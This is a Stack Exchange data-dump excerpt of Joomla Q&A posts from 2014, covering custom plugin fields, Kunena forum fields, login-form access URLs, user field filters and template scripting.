  <row Id="2394" PostTypeId="2" ParentId="2393" CreationDate="2014-06-21T09:10:32.730" Score="1" Body="&lt;p&gt;Just a few quick thoughts and questions to help you troubleshoot this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login as a Super User and see if both modules are displayed and what are their colors.&lt;/li&gt;&#xA;&lt;li&gt;If they don't appear both of them, then something lies in the module ability to display in that page (publish state, menu assignment, module position/calling, etc).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If they both appear to a Super User, then:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do both modules have the same exact content?&lt;/li&gt;&#xA;&lt;li&gt;If the above answer is yes, then how do you apply the different color to them? If through external CSS, then it is possible that there is a CSS override that turns gives one color to any of the modules being displayed. It can help you to distinguish the modules, by changing a bit their text.&lt;/li&gt;&#xA;&lt;li&gt;Review again the access levels and that you are actually checking with the appropriate user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;Try the above and if you don't come to a conclusion, report back.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-21T09:10:32.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostTypeId="1" AcceptedAnswerId="2397" CreationDate="2014-06-21T17:21:35.517" Score="24" ViewCount="8249" Body="&lt;p&gt;I'm trying to add a single, simple field to each #__content item, and I've very carefully followed the tutorial at &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot;&gt;Adding Custom Fields to Core Components&lt;/a&gt;, substituting &quot;content&quot; for &quot;contact&quot;.  I now have an installable plugin that successfully includes the tab/field on the Admin Content Item editing form, and works wonderfully, except for that pesky &quot;saving&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reference to Saving is (again,content instead of contact) :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The additional fields are loaded from the file forms/contact.xml in&#xA;  the plugin directory. It's important that these fields are in a fields&#xA;  element with the name property set to &quot;params&quot;. If you don't set this&#xA;  property name the fields will appear in the admin site but the values&#xA;  will not be saved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fact that this cautionary note exists, suggests to me that Joomla should know the fields are there, and the core code handles it, but since it's not saving, I'm wondering if there's another event I should be adding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simple field I need - invisible to the user, but critical nonetheless, and nowhere near the need of a CCK to store it.&lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;What is wrong/missing that is preventing the custom field from being saved?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update: Hoping beyond hope that the custom field was stored in the database, I added a column to the #__content table with the same name and tried - no luck.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;gdp.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentGdp extends JPlugin {&#xA;    protected $autoloadLanguage = true;&#xA;    function onContentPrepareForm($form, $data) {&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        switch($option) {&#xA;            case 'com_content':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('content', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/forms/content.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;params&quot; &amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;content_myfield&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_GDP_MYFIELD&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rendered HTML&lt;/strong&gt; (without the label)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tab-pane active&quot; id=&quot;attrib-params&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group &quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input&#xA;                type=&quot;text&quot;&#xA;                value=&quot;&quot;&#xA;                id=&quot;jform_params_content_myfield&quot;&#xA;                name=&quot;jform[params][content_myfield]&quot;&#xA;                class=&quot;&quot;&#xA;                aria-invalid=&quot;false&quot;&#xA;                &amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="126" LastEditDate="2015-08-28T20:20:02.963" LastActivityDate="2016-03-19T11:56:16.033" Title="How to save Custom Fields in Core components" Tags="|joomla-3.x|component|plugin|form|custom-action|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostTypeId="2" ParentId="2395" CreationDate="2014-06-22T13:33:58.507" Score="20" Body="&lt;p&gt;The AHA! moment - #__content no longer has the &lt;code&gt;params&lt;/code&gt; column, so the following adjustments have to be made for the plugin to work with components/tables with &lt;code&gt;attribs&lt;/code&gt; instead of &lt;code&gt;params&lt;/code&gt; (which appears only to be #__content as of v3.2):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;fields&lt;/code&gt; name to &quot;attribs&quot; &lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;fieldset&lt;/code&gt; name to something unique (I used the plugin name) &lt;/li&gt;&#xA;&lt;li&gt;Add a language string for the tab on the content editing page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/forms/content.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;gdp&quot; &amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;myfield&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;PLG_CONTENT_GDP_MYFIELD&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;en-GB.plg_content_pass.ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_CONTENT_GDP_FIELDSET_LABEL=&quot;My Custom Fields&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="36" LastEditDate="2016-03-19T11:56:16.033" LastActivityDate="2016-03-19T11:56:16.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2398" PostTypeId="1" AcceptedAnswerId="2401" CreationDate="2014-06-22T15:12:18.270" Score="1" ViewCount="726" Body="&lt;p&gt;I need in my topic &lt;em&gt;new&lt;/em&gt; input field, i added it in template file and in the database &lt;em&gt;#__kunena_topics&lt;/em&gt;, in controllers &lt;em&gt;topic.php&lt;/em&gt; i added it also to function post() but if i save topic my custom field value is not saved in db, name field has true name etc... are there still files where i must get value from my custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the controller file i added this field:&#xA;/components/com_kunena/controllers/topic.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function post() {&#xA;    $this-&amp;gt;id = JRequest::getInt('parentid', 0);&#xA;    $fields = array (&#xA;        'catid' =&amp;gt; $this-&amp;gt;catid,&#xA;        'name' =&amp;gt; JRequest::getString ( 'authorname', $this-&amp;gt;me-&amp;gt;getName () ),&#xA;        'email' =&amp;gt; JRequest::getString ( 'email', null ),&#xA;        'subject' =&amp;gt; JRequest::getVar ( 'subject', null, 'POST', 'string', JREQUEST_ALLOWRAW ),&#xA;        'message' =&amp;gt; JRequest::getVar ( 'message', null, 'POST', 'string', JREQUEST_ALLOWRAW ),&#xA;        'icon_id' =&amp;gt; JRequest::getInt ( 'topic_emoticon', null ),&#xA;        'anonymous' =&amp;gt; JRequest::getInt ( 'anonymous', 0 ),&#xA;        'poll_title' =&amp;gt; JRequest::getString ( 'poll_title', '' ),&#xA;        'poll_options' =&amp;gt; JRequest::getVar('polloptionsID', array (), 'post', 'array'),&#xA;        'poll_time_to_live' =&amp;gt; JRequest::getString ( 'poll_time_to_live', 0 ),&#xA;        'tags' =&amp;gt; JRequest::getString ( 'tags', null ),&#xA;        'mytags' =&amp;gt; JRequest::getString ( 'mytags', null ),&#xA;        'subscribe' =&amp;gt; JRequest::getInt ( 'subscribeMe', 0 ),&#xA;        'crmusername' =&amp;gt; JRequest::getVar ('crmusername', null)&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="159" LastEditDate="2014-06-25T07:29:12.143" LastActivityDate="2015-02-19T15:17:50.560" Title="Kunena forum new topic field?" Tags="|fix-my-code|kunena|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2399" PostTypeId="1" AcceptedAnswerId="2400" CreationDate="2014-06-23T09:29:15.490" Score="0" ViewCount="347" Body="&lt;p&gt;I want send the value via URL when i click a href tag and get the file(pdf/docs) from the database and how to fetch the file in the database.my default.php code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($view_docs as $view_result) : ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th&amp;gt;&amp;lt;?php &#xA;                                $doc_id_value = $view_result-&amp;gt;doc_id;&#xA;                                $loc_doc_name = array('1'=&amp;gt;'Education','2'=&amp;gt;'Certification','3'=&amp;gt;'Client Paperwork','4'=&amp;gt;'Invoice');&#xA;                                echo $loc_doc_name[$doc_id_value];&#xA;                             ?&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;?php echo $view_result-&amp;gt;doc_id; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo code is here ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $view_result-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;?php echo $view_result-&amp;gt;created; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                        &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Database Img is:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FQXmn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php view:&#xA;when i click the &lt;strong&gt;name&lt;/strong&gt; field,the corresponding file to be downloaded&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ae08U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1543" LastEditorUserId="1629" LastEditDate="2014-08-01T10:54:38.593" LastActivityDate="2014-08-01T10:54:38.593" Title="How to send the value via url to helper.php when i click a href link in the default.php?" Tags="|component|php|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2400" PostTypeId="2" ParentId="2399" CreationDate="2014-06-23T12:10:21.963" Score="0" Body="&lt;p&gt;The scope question is too wide for a simple answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on a href tag, a controller receives the call. The controller can call the helper to retrieve the PDF Blob and return to the controller the binary object. And, finally the controller response returns the generated PDF output.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-06-23T23:00:21.853" LastActivityDate="2014-06-23T23:00:21.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2401" PostTypeId="2" ParentId="2398" CreationDate="2014-06-23T12:17:43.797" Score="0" Body="&lt;p&gt;It's better if you extend Kunena through a view override and save the new information with a Kunena plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About Component View Override&lt;/strong&gt;: &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Component_Output_Types_and_Layout_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Component_Output_Types_and_Layout_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Kunena plugins: examples &lt;a href=&quot;http://www.kunena.org/docs/Kunena_Add-ons&quot; rel=&quot;nofollow&quot;&gt;http://www.kunena.org/docs/Kunena_Add-ons&lt;/a&gt; TIP: &lt;strong&gt;onKunenaAfterSave&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-06-23T22:58:44.917" LastActivityDate="2014-06-23T22:58:44.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2402" PostTypeId="1" AcceptedAnswerId="2403" CreationDate="2014-06-23T13:27:18.623" Score="10" ViewCount="46503" Body="&lt;p&gt;I do not wish to allow visitors to register on my website; however, I find a need to have a single registered user for testing purposes.  For example, I will publish an article with restricted access so that my test user can see how the article looks on the site without &quot;airing any dirty laundry&quot; to the general public (ok, all 1/day who actually visit...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem at the moment is that I do end up defacing the website since I have to publish/unpublish the user login form.  Currently, I 'circumvent' this problem by hiding the login form in a subcategory so that it is not immediately visible to a casual visitor.  Is it possible to create an alternative method (e.g. a custom URL) that will allow my test user to view content marked as restricted without altering what a guest with public access would see?&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="159" LastEditDate="2014-06-23T15:09:25.783" LastActivityDate="2014-08-11T16:28:28.733" Title="What is the URL for user login (aka How to hide the login form?)" Tags="|user|login|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostTypeId="2" ParentId="2402" CreationDate="2014-06-23T13:44:45.147" Score="8" Body="&lt;p&gt;You can make a menu that isn't published, and put a link to the user login page there, and name the alias whatever you want. As long as you turn off the allow registrations function in the user manager options, you should be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just give your client the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the steps are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new menu, name it Hidden&lt;/li&gt;&#xA;&lt;li&gt;Don't publish a module of the new menu&lt;/li&gt;&#xA;&lt;li&gt;Add a new menu item, choose Users Manager and Login form&lt;/li&gt;&#xA;&lt;li&gt;Title the menu item Login or something so you know what it is, but change the alias to something someone wouldn't guess.&lt;/li&gt;&#xA;&lt;li&gt;Test your form by going to yoursite.com/aliasname&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-23T13:44:45.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2404" PostTypeId="2" ParentId="2402" CreationDate="2014-06-23T14:13:29.460" Score="10" Body="&lt;p&gt;As an extension to Brian Peat's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;domain.com/index.php?option=com_users&amp;amp;view=login&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can login without having a menu item set or any kind of publish/unpublish problem. This could be termed as somewhat of a problem in Joomla as knowing your way around you can still register/login if you know the url structure. There are rules to prevent this but typically by default you can just use direct paths like that to get to where you need to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.joomla.org/index.php?option=com_users&amp;amp;view=login&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is it at work, even the main Joomla site which has no direct access to login can be accessed like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is, make sure you use proper ACL as well, if its &quot;just&quot; registered users then anyone who knows the structure of Joomla can get in. Also as Brian had said make sure allow registrations is off.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-23T14:13:29.460" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostTypeId="1" AcceptedAnswerId="2467" CreationDate="2014-06-23T18:23:51.443" Score="2" ViewCount="1184" Body="&lt;p&gt;I have just viewed my site after the weekend to see the message String could not be parsed as XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.2.3, T3 Framework, Purity Template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually type mydomain/blog I can access the blog and every other page, however my index page doesn't appear - just the error message '0 String could not be parsed as XML'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a Joomlart template based on the T3 Framework (demo can be seen here &lt;a href=&quot;http://purity_iii.demo.joomlart.com/&quot; rel=&quot;nofollow&quot;&gt;http://purity_iii.demo.joomlart.com/&lt;/a&gt;). Usually this is a very stable framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My menu is set to XLayout - Features Intro, I have also changed this (to blog, and single article) and it makes no difference, however if I change the whole site template (to prostar) it works. So it's pointing to a tamplate/framework issue? I haven't made any template changes recently, nor any other core changes. No additional plugins or modules have been installed - seems to just have randomly broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still able to access the admin area, where I was able to change the template to prostar. I was able to update the T3 plugin as well, according to my install I am using the latest T3 version which is 2.3.0 and the latest remplate Purity version 1.0.0 Developer preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody shed some light on this issue?! I could probably re-install the template but I want to know what's going on if possible, so I can avoid this in future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only edit I did make was to the htaccess file - and it was to redirect non-www urls to www. This worked fine after the change and I don't think it's related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1629" LastEditDate="2014-08-07T18:41:23.307" LastActivityDate="2014-08-07T18:41:23.307" Title="Site Randomly Broken - String could not be parsed as XML" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2406" PostTypeId="1" AcceptedAnswerId="2407" CreationDate="2014-06-23T20:06:38.737" Score="3" ViewCount="3156" Body="&lt;p&gt;I've been unable to determine if/how the list of users can be filtered.  The example below from &lt;a href=&quot;http://docs.joomla.org/User_form_field_type&quot; rel=&quot;nofollow&quot;&gt;User form field type&lt;/a&gt;, shows the filter in use, but I've been unable to come up with how to specify the group(s) to include in the list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;modified_user_id&quot; type=&quot;user&quot;&#xA;    label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;    class=&quot;readonly&quot;&#xA;    readonly=&quot;true&quot;&#xA;    filter=&quot;unset&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Surely, if you have thousands of users, this list can be reduced to a particular user group somehow - am I wrong in that assumption?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2017-12-12T01:13:45.947" Title="Filtering list of Users in User form field type" Tags="|joomla-3.x|jform|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostTypeId="2" ParentId="2406" CreationDate="2014-06-23T20:44:23.427" Score="4" Body="&lt;p&gt;You could simply use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;modified_user_id&quot; &#xA;  type=&quot;user&quot;&#xA;  label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;  desc=&quot;A_DESCRIPTION_IS_ALWAYS_GOOD&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It creates a modal field that display a list of users that you can filter by group by selecting the combo box on the top right of the modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a simple combo box and you don't mind having the user group hard-coded you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;modified_user_id_2&quot; &#xA;                type=&quot;sql&quot;&#xA;                label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;                desc=&quot;&quot;&#xA;                query=&quot;SELECT u.id , u.name FROM #__users as u inner join #__user_usergroup_map AS ugm ON ugm.user_id = u.id where ugm.group_id=8&quot;&#xA;                multiple=&quot;single&quot; &#xA;                key_field=&quot;id&quot; &#xA;                value_field=&quot;name&quot;&#xA;                /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And replace 8 by the user group id of your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;The function of the filter attribut is not to filter the displayed values of the field. It's more of a cleaning function that process the input value &lt;strong&gt;after&lt;/strong&gt; the form is submitted. &#xA;In this case it has little use as the 'user' field can only output a user id, but in a text field you could use the 'INT' filter to make sure the user enter a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The available values for the filter attribute are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;INT:       An integer, &lt;/li&gt;&#xA;&lt;li&gt;UINT:      An unsigned integer,&lt;/li&gt;&#xA;&lt;li&gt;FLOAT:     A floating point number,&lt;/li&gt;&#xA;&lt;li&gt;BOOLEAN:   A boolean value,&lt;/li&gt;&#xA;&lt;li&gt;WORD:      A string containing A-Z or underscores only (not case&#xA;sensitive),&lt;/li&gt;&#xA;&lt;li&gt;ALNUM:     A string containing A-Z or 0-9 only (not case sensitive),&lt;/li&gt;&#xA;&lt;li&gt;CMD:       A string containing A-Z, 0-9, underscores, periods or&#xA;hyphens (not case sensitive),&lt;/li&gt;&#xA;&lt;li&gt;BASE64:    A string containing A-Z, 0-9, forward slashes, plus or&#xA;equals (not case sensitive),&lt;/li&gt;&#xA;&lt;li&gt;STRING:    A fully decoded and sanitised string (default),&lt;/li&gt;&#xA;&lt;li&gt;HTML:      A sanitised string,&lt;/li&gt;&#xA;&lt;li&gt;ARRAY:     An array,&lt;/li&gt;&#xA;&lt;li&gt;PATH:      A sanitised file path,&lt;/li&gt;&#xA;&lt;li&gt;USERNAME:  Do not use (use an application specific filter),&lt;/li&gt;&#xA;&lt;li&gt;RAW:       The raw string is returned with no filtering,&lt;/li&gt;&#xA;&lt;li&gt;unknown:   An unknown filter will act like STRING. If the input is an array it will return an array of fully decoded and sanitised strings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/libraries/joomla/filter/input.php#L167&quot; rel=&quot;nofollow&quot;&gt;From the Joomla source code&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2014-06-24T13:57:31.110" LastActivityDate="2014-06-24T13:57:31.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostTypeId="2" ParentId="2402" CreationDate="2014-06-24T02:41:07.200" Score="4" Body="&lt;p&gt;You should be able to accomplish this by overriding the layout for the front-end login form.  Add some PHP code near the top of the layout file.  This added code checks for a custom parameter in the URL and for a particular value.  If someone tries to access the login page through any URL but does not include the custom parameter and particular value (such as &lt;em&gt;abc=xyz&lt;/em&gt;), then the code issues a &quot;return;&quot; so that the layout of the form will not be processed for display.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this code in the overriding layout file, only a user who knows the URL (that includes this custom parameter and an acceptable value) will be able to use that login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For example:&lt;/em&gt;&#xA;The secret URL can be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/?option=com_users&amp;amp;view=login&amp;amp;abc=xyz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add this code near the top of the overriding layout file for the login form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(JFactory::getApplication()-&amp;gt;input-&amp;gt;get('abc')!='xyz'){&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1564" LastEditorUserId="1564" LastEditDate="2014-06-24T02:46:26.427" LastActivityDate="2014-06-24T02:46:26.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostTypeId="1" AcceptedAnswerId="2413" CreationDate="2014-06-24T08:31:50.993" Score="3" ViewCount="1588" Body="&lt;p&gt;I am very new to Joomla. I started 4 days ago.&#xA;Does anybody know an easy and not very time consuming way to use the article like a template, defining variables that could substitute simple strings.&#xA;We have several sites and those site have different language versions that have {BRAND NAME} translated to many languages, and we would like to be able to replace this with the relevant brand name inside the article. &#xA;This could be also very useful in case the brand name changes slightly so we won't have to edit every article again. &lt;/p&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2014-06-25T12:13:48.120" Title="Creating variables inside article text" Tags="|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostTypeId="2" ParentId="2410" CreationDate="2014-06-24T11:54:51.837" Score="2" Body="&lt;p&gt;In Language Manager, you can define Label Overrides. E.g. MYLABEL_A_VARIABLE &quot;This is a test&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To render Language Labels (there are several ways), in an article, I prefer to install NoNumber Sourcerer &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This is a simple article to show a {source}&#xA;&amp;lt;?php&#xA;    echo JText::_('MYLABEL_A_VARIABLE');   &#xA;?&amp;gt;&#xA;{/source} variable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you use Sourcerer and place that code in a snippet using NoNumber Snippets, you can actually call the code block in your article using this format: {snippet brandnameX} which keeps your articles nice and clean.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="25" LastEditDate="2014-06-25T12:13:48.120" LastActivityDate="2014-06-25T12:13:48.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostTypeId="1" AcceptedAnswerId="2420" CreationDate="2014-06-24T13:30:29.393" Score="6" ViewCount="2226" Body="&lt;p&gt;I want to load some JS but only on the page where it is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use the alias of the active article to determine that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code in the component.php file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $path = &amp;amp;JFactory::getURI()-&amp;gt;getPath();&#xA;   $length = strlen($path);&#xA;&#xA;   for ($i = $length; $i &amp;gt;= 0 ; $i--)&#xA;         if ($path[$i] == '/')&#xA;            return substr($path, $i + 1, $length - $i - 1);&#xA;&#xA;   $alias = $path;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this part in the &amp;lt; head&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($alias == &quot;elearning&quot;)) { ?&amp;gt;&#xA;    &amp;lt;script src=&quot;/media/system/js/ddslick.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just doesn't seem to work.&lt;br&gt;&#xA;Any suggestions where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-06-24T13:39:06.863" LastActivityDate="2016-04-25T11:18:27.973" Title="What's the correct method to get the alias of the active page" Tags="|joomla-2.5|alias|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
